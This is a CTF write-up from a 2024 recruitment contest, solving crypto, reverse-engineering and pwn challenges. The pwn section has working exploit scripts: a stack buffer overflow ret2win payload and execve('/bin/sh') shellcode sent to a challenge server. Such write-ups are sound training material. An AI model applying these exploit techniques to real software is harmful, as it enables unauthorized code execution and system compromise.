# KCSC Recruitment 2024 ## I. Crypto ### 1. Base64 - Challenge: ```python= b64 = { "000000": "/", "000001": "+", "000010": "0", "000011": "1", "000100": "2", "000101": "3", "000110": "4", "000111": "5", "001000": "6", "001001": "7", "001010": "8", "001011": "9", "001100": "a", "001101": "b", "001110": "c", "001111": "d", "010000": "e", "010001": "f", "010010": "g", "010011": "h", "010100": "i", "010101": "j", "010110": "k", "010111": "l", "011000": "m", "011001": "n", "011010": "o", "011011": "p", "011100": "q", "011101": "r", "011110": "s", "011111": "t", "100000": "u", "100001": "v", "100010": "w", "100011": "x", "100100": "y", "100101": "z", "100110": "A", "100111": "B", "101000": "C", "101001": "D", "101010": "E", "101011": "F", "101100": "G", "101101": "H", "101110": "I", "101111": "J", "110000": "K", "110001": "L", "110010": "M", "110011": "N", "110100": "O", "110101": "P", "110110": "Q", "110111": "R", "111000": "S", "111001": "T", "111010": "U", "111011": "V", "111100": "W", "111101": "X", "111110": "Y", "111111": "Z", } def encode(string): s = "" for i in string: s += bin(ord(i))[2:].zfill(8) pad = "" if len(s) % 6 == 4: pad = "=" s += "11" elif len(s) % 6 == 2: pad = "==" s += "1111" ret = "" for i in range(0,len(s),6): ret += b64[s[i:i+6]] return ret+pad from secret import FLAG print(encode(FLAG)) # gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR= ``` We got a script that use to encrypt flag depends on its length and table ```b64``` . For details: - First, it converts each char of the flag into 8-bit binary (string ```s```) - It checks the remainder of ```len(s)``` and 6. Depends on the remainder, the padding ```pad``` and string that added more in the end can change. - Finally, for each 6-bit block, it uses table ```b64``` to convert those blocks into characters then add the ```pad``` in the end This is an easy challenge. I just need to reverse the process to get the flag. My solution: ```python= b64 = { "000000": "/", "000001": "+", "000010": "0", "000011": "1", "000100": "2", "000101": "3", "000110": "4", "000111": "5", "001000": "6", "001001": "7", "001010": "8", "001011": "9", "001100": "a", "001101": "b", "001110": "c", "001111": "d", "010000": "e", "010001": "f", "010010": "g", "010011": "h", "010100": "i", "010101": "j", "010110": "k", "010111": "l", "011000": "m", "011001": "n", "011010": "o", "011011": "p", "011100": "q", "011101": "r", "011110": "s", "011111": "t", "100000": "u", "100001": "v", "100010": "w", "100011": "x", "100100": "y", "100101": "z", "100110": "A", "100111": "B", "101000": "C", "101001": "D", "101010": "E", "101011": "F", "101100": "G", "101101": "H", "101110": "I", "101111": "J", "110000": "K", "110001": "L", "110010": "M", "110011": "N", "110100": "O", "110101": "P", "110110": "Q", "110111": "R", "111000": "S", "111001": "T", "111010": "U", "111011": "V", "111100": "W", "111101": "X", "111110": "Y", "111111": "Z", } def decode(str): pass s = 'gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR=' ret = '' for i in range(0, len(s) - 1): for k in b64: if b64[k] == s[i]: ret += k c = '010010110100001101010011010000110111101101101110011011110011000001100010010111110110001001100001011100110110010100110110001101000101111101100101011011100110001101101111011001000110010100100001001000010111110111' ret = c[:len(c) - 2] flag = '' for i in range(0, len(ret), 8): flag += chr(int(ret[i:i+8], 2)) print(flag) ``` Explain: - Convert the given string ```s``` into binary string by using ```b64``` table (not include the last character ```pad = '='```) - We know tht ```pad = '='``` so the last string that added more is ```11```. I removed it and saved in ```ret``` - Now I just need to convert each 8-bit block into character so I can get the flag. **Flag: ```KCSC{no0b_base64_encode!!}```** ### 2. BabyRSA Challenge: ```python= from Crypto.Util.number import * from secret import flag # Params m = bytes_to_long(flag) p = getPrime(512) q = getPrime(512) n = p*q e1 , e2 = getPrime(15) , getPrime(15) # Encrypt c1 , c2 = pow(m,e1,n) , pow(m,e2,n) #Print print(f'{c1 = }') print(f'{c2 = }') print(f'{n = }') """ c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726 c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285 n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733 """ ``` This is RSA encryption that one message sent to 2 people. For details: - The message ```m``` is sents to A and B, which keeps the public key ```(e1, n)``` and ```(e2, n)``` - They encrypt message and receive ```c1 ≡ m^e1 mod n``` and ```c2 ≡ m^e2 mod n``` To solve this problem, I found [this](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem) First, we **must** know ```e1``` and ```e2```. Then by using extended Euclide Algorithm, we have ```a*e1 + b*e2 = gcd(e1, e2) = 1``` for some ```a, b```. After calculate ```a, b```, we can easily find ```m``` because: ```(c1)^a * (c2)^b ≡ (m^e1)^a * (m^e2)^b ≡ m^(e1*a + e2*b) ≡ m (mod n)``` But they only give us ```c1, c2, n```. I brute-force to find ```e1``` and ```e2``` because they are only 15-bit primes so I think it won't take long. My solution: ```python= from Crypto.Util.number import * from egcd import egcd def decode_safe(bytes_input): try: return bytes_input.decode('utf-8') except UnicodeDecodeError: return None c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726 c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285 n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733 while(1): e1, e2 = getPrime(15) , getPrime(15) gcd , a, b = egcd(e1, e2) if a < 0: i = pow(c1, -1, n) m = (pow(i, -a, n)*pow(c2, b, n))%n elif b < 0: i = pow(c2, -1, n) m = (pow(i, -b, n)*pow(c1, a, n))%n flag_str = decode_safe(long_to_bytes(m)) if flag_str is None: continue else: print(flag_str) break ``` Because I used ```egcd``` library so it is possible that I will get ```a``` or ```b``` that was negative. When that happend, I need to calculate inverse of ```c1``` or ```c2``` mod n then use it instead of ```c1``` and ```c2``` **Flag: ```KCSC{3x73rn4l_4774ck_1n_r54}```** ### 3. Equation Challenge: ```python= from Crypto.Util.number import * from secret import flag def encrypt(key,m,p) : x = pow(key[0],key[1]*key[3])*m[0] + pow(key[1],key[0])*m[1] + key[3]*pow(key[0],key[2]) y = pow(key[2],7)*m[0] - key[3]*m[1] - pow(key[1],key[2]) + pow(key[1],key[3]) return x % p , y % p l = len(flag) m = [bytes_to_long(flag[:l//2]) , bytes_to_long(flag[l//2:])] key = [getPrime(512) for _ in range(4)] p = getPrime(513) assert m[0] < p and m[1] < p print(f'{p = }') print(f'{key = }') print(f'enc = {encrypt(key,m,p)}') """ p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397 key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613] enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484) """ ``` This is 2 variables equation solving problem. We need to calculate ```m[0]``` and ```m[1]``` through 2 equations in the ```enc()``` function. I just need to simplify the coefficient of equations by using: ``` (a + b) mod n ≡ ((a mod n) + (b mod n)) mod n (a * b) mod n ≡ ((a mod n) * (b mod n)) mod n ``` For easier calculation, I will use variables ```A, B, C, D, E, F, G ``` instead of complicated coefficients My solution: ```python= from Crypto.Util.number import * p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397 key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613] enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484) x_p, y_p = enc[0], enc[1] a = pow(key[0],key[1],p) A = pow(a, key[3], p) B = pow(key[1], key[0], p) c = pow(key[0], key[2], p) C = (key[3]*c)% p D = pow(key[2], 7, p) E = -key[3] F = -pow(key[1], key[2], p) G = pow(key[1], key[3], p) #print(f"{A} * m0 + {B}*m1 + {C} = {x_p}") #print(f"{D}*m0 + {E}*m1 - {F} + {G} = {y_p}") F1 = (F + G) % p x1 = (x_p - C)%p y1 = (y_p - F1)%p s = GCD(A, D) lcm = (A*D) // s multi0 = (lcm//A)%p multi1 = (lcm//D)%p B1 = (B*multi0)%p E1 = (E*multi1)%p heSo_m1 = (B1 - E1)%p heso_m1_inv = pow(heSo_m1, -1, p) r1 = ((x1*multi0)%p - (y1*multi1)%p)%p m1 = (r1 * heso_m1_inv)% p m0 = (((x1 - (B*m1)%p)%p) * pow(A, -1, p))%p print(long_to_bytes(m0).decode('utf-8') + long_to_bytes(m1).decode('utf-8')) ``` This challenge is not hard. Just remember to modulo ```p``` before each calculation **Flag: ```KCSC{b4by_3qu4710n_l34rn1n6}```** ## II. Pwn ### 1. basic_bof Challenge: ```c #include<stdio.h> #include<stdlib.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } void win(){ system("/bin/sh"); } int main() { init(); char a[0x100]; gets(a); } ``` We have been given the source code and file binary. There is a buffer overflow vuln here, in ```gets(a)```, because a limited with ```0x100``` bytes. Our target is executing```win()``` function Now I debug it and try to input to see how it overflows. I set a breakpoint before return function: ![image](https://hackmd.io/_uploads/ByukKNz0R.png) ![image](https://hackmd.io/_uploads/ByXZFEfAA.png) The address ```0x00007fffffffe128``` is our return address. So this is a ```ret2win``` vuln. Instead of pointing to return address, we make the ```rsp``` points to our ```win()``` address then it will give us the shell. Let's see how far from ```$rsp``` to our input: ![image](https://hackmd.io/_uploads/HywiqNfA0.png) It's 264 bytes. The next bytes of the payload will be our ```win()``` address. Let's find where it is. ![image](https://hackmd.io/_uploads/H1OJsNzCA.png) The address is ```0x4011db```. Now we have everything we need. I wrote a simple script to exploit: ```python= from pwn import * #p = remote('157.15.86.73', 8005) p = process('./chal1') payload = b'A'*264 payload += p64(0x4011db + 5) p.sendline(payload) p.interactive() ``` Why I need to plus 5 t the address ```win()```? Because if we only use the ```0x4011db```, an error will occur: ![image](https://hackmd.io/_uploads/Hkhpi4fAA.png) So this occur because the address ```rsp``` points to must be divisible to 16, but ```0x4011db``` is not ![image](https://hackmd.io/_uploads/ryBmhNGA0.png) Plus 5 and run again, now we finally get the shell. Just cat the file ```flag.txt``` to get the flag ![image](https://hackmd.io/_uploads/Bk_v2VGCA.png) **Flag: ```KCSC{FIRST_GAME_WAS EASY_HUH?}```** ### 2. pwn2 Challenge let us to execute shellcode: ```c! #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <unistd.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } int main() { init(); void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (code == MAP_FAILED) { perror("mmap"); exit(1); } fgets((char*)code, 0x1000, stdin); size_t len = strlen((char*)code); for(int i = 0 ; i < len; i++) { if(((uint16_t*)code)[i] == 0x0f05) { exit(0); } } code(); } ``` Script: ```python! #!/usr/bin/env python3 from pwn import * exe = ELF("./shellcode") def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("addr", 13775) return r context.binary = exe def main(): r = conn() shellcode = asm( ''' mov rax, 0x3b mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''', arch='amd64' ) r.sendline(shellcode) pause() r.interactive() if __name__ == "__main__": main() ``` Result: ![image](https://hackmd.io/_uploads/B1mXhgBmyx.png) Flag: `KCSC{easy_shellcode......}` ## III. Reverse Engineering ### 1. Elif Challenge: ```python= flag = input('Enter your flag: ') if len(flag) != 49: print('Wrong Length!!!') exit() inp = [ord(c) for c in flag] if inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] != 398: print('Wrong Flag!!!') exit() elif inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] != 451: print('Wrong Flag!!!') exit() elif inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] != 440: print('Wrong Flag!!!') exit() elif inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] != 581: print('Wrong Flag!!!') exit() elif inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] != 587: print('Wrong Flag!!!') exit() elif inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] != 274: print('Wrong Flag!!!') exit() elif inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] != 372: print('Wrong Flag!!!') exit() elif inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] != 470: print('Wrong Flag!!!') exit() elif inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] != 565: print('Wrong Flag!!!') exit() elif inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] != 447: print('Wrong Flag!!!') exit() elif inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] != 503: print('Wrong Flag!!!') exit() elif inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] != 532: print('Wrong Flag!!!') exit() elif inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] != 382: print('Wrong Flag!!!') exit() elif inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] != 490: print('Wrong Flag!!!') exit() elif inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] != 569: print('Wrong Flag!!!') exit() elif inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] != 364: print('Wrong Flag!!!') exit() elif inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] != 398: print('Wrong Flag!!!') exit() elif inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] != 541: print('Wrong Flag!!!') exit() elif inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] != 588: print('Wrong Flag!!!') exit() elif inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] != 471: print('Wrong Flag!!!') exit() elif inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] != 343: print('Wrong Flag!!!') exit() elif inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] != 519: print('Wrong Flag!!!') exit() elif inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] != 480: print('Wrong Flag!!!') exit() elif inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] != 357: print('Wrong Flag!!!') exit() elif inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] != 411: print('Wrong Flag!!!') exit() elif inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] != 514: print('Wrong Flag!!!') exit() elif inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] != 541: print('Wrong Flag!!!') exit() elif inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] != 454: print('Wrong Flag!!!') exit() elif inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] != 403: print('Wrong Flag!!!') exit() elif inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] != 457: print('Wrong Flag!!!') exit() elif inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] != 588: print('Wrong Flag!!!') exit() elif inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] != 549: print('Wrong Flag!!!') exit() elif inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] != 446: print('Wrong Flag!!!') exit() elif inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] != 453: print('Wrong Flag!!!') exit() elif inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] != 461: print('Wrong Flag!!!') exit() elif inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] != 533: print('Wrong Flag!!!') exit() elif inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] != 531: print('Wrong Flag!!!') exit() elif inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] != 393: print('Wrong Flag!!!') exit() elif inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] != 506: print('Wrong Flag!!!') exit() elif inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] != 365: print('Wrong Flag!!!') exit() elif inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] != 565: print('Wrong Flag!!!') exit() elif inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] != 415: print('Wrong Flag!!!') exit() elif inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] != 502: print('Wrong Flag!!!') exit() elif inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] != 600: print('Wrong Flag!!!') exit() elif inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] != 386: print('Wrong Flag!!!') exit() elif inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] != 485: print('Wrong Flag!!!') exit() elif inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] != 566: print('Wrong Flag!!!') exit() elif inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] != 546: print('Wrong Flag!!!') exit() elif inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] != 371: print('Wrong Flag!!!') exit() print('Correct!!! Here is your flag: ' + flag) ``` The challenge will be solve if we can create a flag that pass all the checkers. After researching, I found a [writeup](https://ctftime.org/writeup/32366) that seems similar to our challenge using ```z3-solver``` library. Modify it and run then I got the flag. Remember, our flag start with ```picoCTF{``` and ends with ```}``` so we know the value of ```inp``` in some first indexes. Script: ```python= from z3 import * inp = [] for i in range(49): byte = BitVec(f"{i}", 8) inp.append(byte) solver = Solver() solver.add( inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] == 398) solver.add(inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] == 451) solver.add(inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] == 440) solver.add(inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] == 581) solver.add(inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] == 587) solver.add(inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] == 274) solver.add(inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] == 372) solver.add(inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] == 470) solver.add(inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] == 565) solver.add(inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] == 447) solver.add(inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] == 503) solver.add(inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] == 532) solver.add(inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] == 382) solver.add(inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] == 490) solver.add(inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] == 569) solver.add(inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] == 364) solver.add(inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] == 398) solver.add(inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] == 541) solver.add(inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] == 588) solver.add(inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] == 471) solver.add(inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] == 343) solver.add(inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] == 519) solver.add(inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] == 480) solver.add(inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] == 357) solver.add(inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] == 411) solver.add( inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] == 514) solver.add( inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] == 541) solver.add(inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] == 454) solver.add( inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] == 403) solver.add(inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] == 457) solver.add(inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] == 588) solver.add(inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] == 549) solver.add( inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] == 446) solver.add( inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] == 453) solver.add( inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] == 461) solver.add( inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] == 533) solver.add( inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] == 531) solver.add( inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] == 393) solver.add( inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] == 506) solver.add(inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] == 365) solver.add( inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] == 565) solver.add( inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] == 415) solver.add( inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] == 502) solver.add( inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] == 600) solver.add( inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] == 386) solver.add(inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] == 485) solver.add( inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] == 566) solver.add( inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] == 546) solver.add(inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] == 371) solver.add(inp[0] == ord('K')) solver.add(inp[1] == ord('C')) solver.add(inp[2] == ord('S')) solver.add(inp[3] == ord('C')) solver.add(inp[4] == ord('{')) solver.add(inp[48] == ord('}')) # solver.add( s[16] - s[19] * s[7] == -5295 ) # solver.add( s[33] + s[12] * s[26] + s[22] == 2728 ) # solver.add( s[41] + s[24] + s[32] == 281 ) # solver.add( s[23] * s[31] * s[14] == 790020 ) # solver.add( s[35] - s[35] * s[6] - s[14] == -3342 ) # solver.add( s[31] + s[40] - s[17] * s[25] == -11148 ) # solver.add( s[36] * s[18] + s[13] * s[19] == 16364 ) # solver.add( s[40] - s[5] + s[2] * s[18] == 4407 ) # solver.add( s[21] - s[25] + s[3] == 55 ) # solver.add( s[14] + s[14] + s[13] - s[2] == 223 ) # solver.add( s[36] * s[35] - s[5] * s[29] == -2449 ) # solver.add( s[41] - s[39] + s[1] == 135 ) # solver.add( s[35] - s[0] * s[35] + s[0] == -4759 ) # solver.add( s[8] - s[10] * s[21] - s[31] == -4776 ) # solver.add( s[29] - s[24] + s[28] == 126 ) # solver.add( s[0] * s[10] - s[32] - s[8] == 3315 ) # solver.add( s[28] * s[32] + s[41] == 5903 ) # solver.add( s[37] - s[24] + s[32] == 20 ) # solver.add( s[20] * s[10] - s[15] + s[31] == 4688 ) # solver.add( s[36] - s[9] - s[18] * s[18] == -2721 ) # solver.add( s[9] * s[7] + s[16] * s[30] == 13876 ) # solver.add( s[18] + s[34] + s[24] - s[7] == 188 ) # solver.add( s[16] * s[27] + s[20] == 9310 ) # solver.add( s[22] - s[30] - s[37] - s[9] == -211 ) # solver.add( s[4] * s[41] * s[27] - s[38] == 1491286 ) # solver.add( s[35] - s[29] * s[8] + s[13] == -13131 ) # solver.add( s[23] - s[7] - s[24] - s[22] == -107 ) # solver.add( s[37] * s[4] * s[5] == 560388 ) # solver.add( s[17] * s[32] - s[15] == 5295 ) # solver.add( s[32] + s[23] * s[18] - s[5] == 4927 ) # solver.add( s[3] + s[8] * s[39] + s[39] == 7397 ) # solver.add( s[7] * s[25] - s[3] + s[36] == 5597 ) # solver.add( s[9] - s[24] - s[33] == -79 ) # solver.add( s[30] + s[14] * s[36] == 8213 ) if solver.check() == sat: solution = solver.model() flag = [] for i in range(49): flag.append(chr(int(str(solution[inp[i]])))) print("".join(flag)) else: print("not found") ``` **Flag: ```KCSC{700_much_1f-3l53_f0r_fl46ch3ck3r!!!7ry_z3<3}```** ### 2. Go Challenge: We got a ```.exe``` file. So first let's assemble it with IDA ```c= v17 = p_string; if ( p_string->len != 51 ) { v73[0] = &RTYPE_string; v73[1] = &off_4DBC00; v8 = os_Stdout; fmt_Fprintln( (unsigned int)go_itab__os_File_io_Writer, os_Stdout, (unsigned int)v73, 1, 1, (unsigned int)&off_4DBC00, v14, (_DWORD)v15, v16, v52, v58, v61, v63, v65); os_Exit(1, v8, v18, 1, 1, v19, v20, v21, v22, v53); v17 = p_string; } for ( i = 0LL; i < 51; i = v14 + 1 ) { ptr = v17->ptr; if ( i >= v17->len ) runtime_panicIndex(i, v8, v17->len, 1LL, 1LL, ptr); v25 = (unsigned __int8)ptr[i]; v14 = i; v26 = i - (i & 0xFFFFFFFFFFFFFFE0LL); if ( v26 >= 0x20 ) runtime_panicIndex(v26, v8, 32LL, 1LL, 1LL, v26); v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M="; v27 = (unsigned __int8)aYxv0ag9ybm9vym[v26] ^ v25; v13 = *(_QWORD *)&v69[8 * i - 8]; if ( v13 != v27 ) { v67 = i; v72[0] = &RTYPE_string; v72[1] = &off_4DBC10; v8 = os_Stdout; fmt_Fprintln( (unsigned int)go_itab__os_File_io_Writer, os_Stdout, (unsigned int)v72, 1, 1, (unsigned int)&off_4DBC10, i, (unsigned int)"YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=", v16, v52, v58, v61, v63, v65); os_Exit(1, v8, v28, 1, 1, v29, v30, v31, v32, v54); v17 = p_string; v14 = v67; } } v71 = v3; v33 = v17->ptr; len = v17->len; v35 = runtime_concatstring2( 0, (unsigned int)"Correct!! Here is your flag: ", 29, v17->ptr, len, v13, v14, (_DWORD)v15, v16, v52, v58, v61, v63, v65); ``` Analyzing: First it checks the length of our flag ```c= if ( p_string->len != 51 ) { v73[0] = &RTYPE_string; v73[1] = &off_4DBC00; v8 = os_Stdout; ``` And a loop to check our flag. If it's pass, we can get the flag. I will step by step into the for loop: 1. ```v25``` stores the value in index ```i``` of our input (I called it p_string) 2. ```v26``` can be considered as a list with integer in range (0,32). The ```if``` after just check if ```v26``` exceeded the range limit. 3. ```v15``` seems like challenge author if you decode it. This will be a key for the next stages. 4. ```v27``` stores the result of XOR between ```aYxv0ag9ybm9vym[i]``` and ```p_string[i]```. But what is ```aYxv0ag9ybm9vym```? It's has the same value with ```v15``` I talked before 5. ```v13``` equals to some ```v69[8 * i - 8]```. We didn't know what it is 6. Checks the condition if ```v13``` is equal to ```v27```. If all character (there are 51) of our input passed, we can get our flag. So the problem is, where is ```v69```? First, let's see how it was initialized: ```c char v69[72]; // [rsp+48h] [rbp-1F0h] BYREF ``` our ```v69``` will be some result of some function, which is only return value when the program is running. So let's run and see: ![image](https://hackmd.io/_uploads/S1OXOHzRC.png) ![image](https://hackmd.io/_uploads/Hk_VdSGAC.png) So after each 8 bytes, like ```8 * i - 8``` index of ```v69``` before, we can now know how ```v69``` is. Now just need to write down, xor back with ```v15``` then we can get the flag Script: ```python= v69 = [0x12, 0x1b, 0x5, 0x73, 0x1a, 0x70, 0x51, 0x48, 0x57, 0x32, 0x8, 0x43, 0x6, 0x5e, 0x5, 0x5d, 0x1b, 0x5b, \ 0x5, 0x19, 0x6e, 0x0, 0x7c, 0x29, 0x1, 0x3f, 0x40, 0x6, 0x0f, 0x1, 0x23, 0xb, 0x6a, 0x7, 0x61, 0x55, 0x0, 0x75, 0x5d, \ 0x18, 0x53, 0x5a, 0x66, 0x4a, 0x6a, 0x51, 0x2, 0x49, 0x43, 0x4c, 0x48, 0x70] v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=" input_str = "" for i in range(51): input_str += chr(ord(v15[i % 32]) ^ v69[i]) print(input_str) ``` 